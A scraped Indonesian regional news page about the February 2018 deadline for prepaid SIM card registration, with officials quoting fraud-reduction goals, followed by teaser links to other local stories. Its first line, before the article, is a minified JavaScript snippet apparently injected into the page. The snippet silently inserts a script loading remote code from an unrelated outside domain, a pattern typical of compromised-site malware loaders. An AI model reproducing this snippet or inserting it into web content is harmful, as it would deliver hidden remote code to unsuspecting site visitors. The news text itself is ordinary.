(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Periode pendaftaran registrasi kartu prabayar mendekati masa akhir pada 28 Februari 2018, sebelum dilakukan pemblokiran layanan bertahap.
Menjelang 28 Februari 2018, pemerintah dan operator seluler kian aktif mengimbau masyarakat untuk segera melakukan pendaftaran kartu SIM prabayar.
Setelah Universitas Surabaya, Kementerian Komunikasi dan Informatika (Kemkominfo) menggelar Sosialisasi dan Klinik Registrasi Kartu Prabayar di Universitas Airlangga baru-baru ini. Program registrasi ini bertujuan untuk membuat masyarakat lebih aman dan nyaman menggunakan layanan telekomunikasi.
Mengutip data dari Asosiasi Penyelenggara Jasa Internet Indonesia (APJII), sebagian besar masyarakat Indonesia mengakses internet melalui smartphone dengan porsi sebanyak 59,31 persen. Data ini juga menjadi alasan yang membuat registrasi kartu prabayar semakin mendesak.
Baca juga: 28 Februari 2018, Sudahkah Anda Mendaftarkan Registrasi Kartu SIM?
“Program registrasi ini bertujuan untuk membuat iklim yang secure, keamanan dan kenyamanan buat semua masyarakat. Hal ini juga yang menjadi alasan kenapa harus registrasi, karena kebanyakan akses internet dilakukan melalui ponsel, begitupun dengan kejahatan yang sering menggunakan ponsel,†kata Direktur Jenderal Penyelenggara Pos dan Informatika (Diirjen PPI) Kemkominfo, Ahmad M Ramli, seperti dikutip dari twit Kemkominfo.
Anggota Badan Regulasi Telekomunikasi Indonesia (BRTI), Agung Harsoyo, menambahkan program registrasi ini diharapkan dapat mengurangi penipuan yang dilakukan melalui layanan kartu SIM.
“Melalui program registrasi ini diharapkan SMS minta pulsa, transfer dan penipuan yang menggunakan ponsel berkurang. Setiap hari ada sekitar 40 laporan penipuan yang menggunakan ponsel,†tuturnya.
Selain itu, aspek manfaat registrasi kartu prabayar lainnya akan memudahkan pemerintah memberikan bantuan pendidikan, kesehatan dan perbankan dengan memanfaatkan ponsel.
“Registrasi ini merupakan suatu proses dan evolusi yang harus dilalui jika ingin mengikuti perkembangan zaman di masyarakat yang serba digital,†ungkap ketua Asosiasi Penyelenggara Telekomunikasi Seluruh Indonesia (ATSI), Merza Fachys.
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.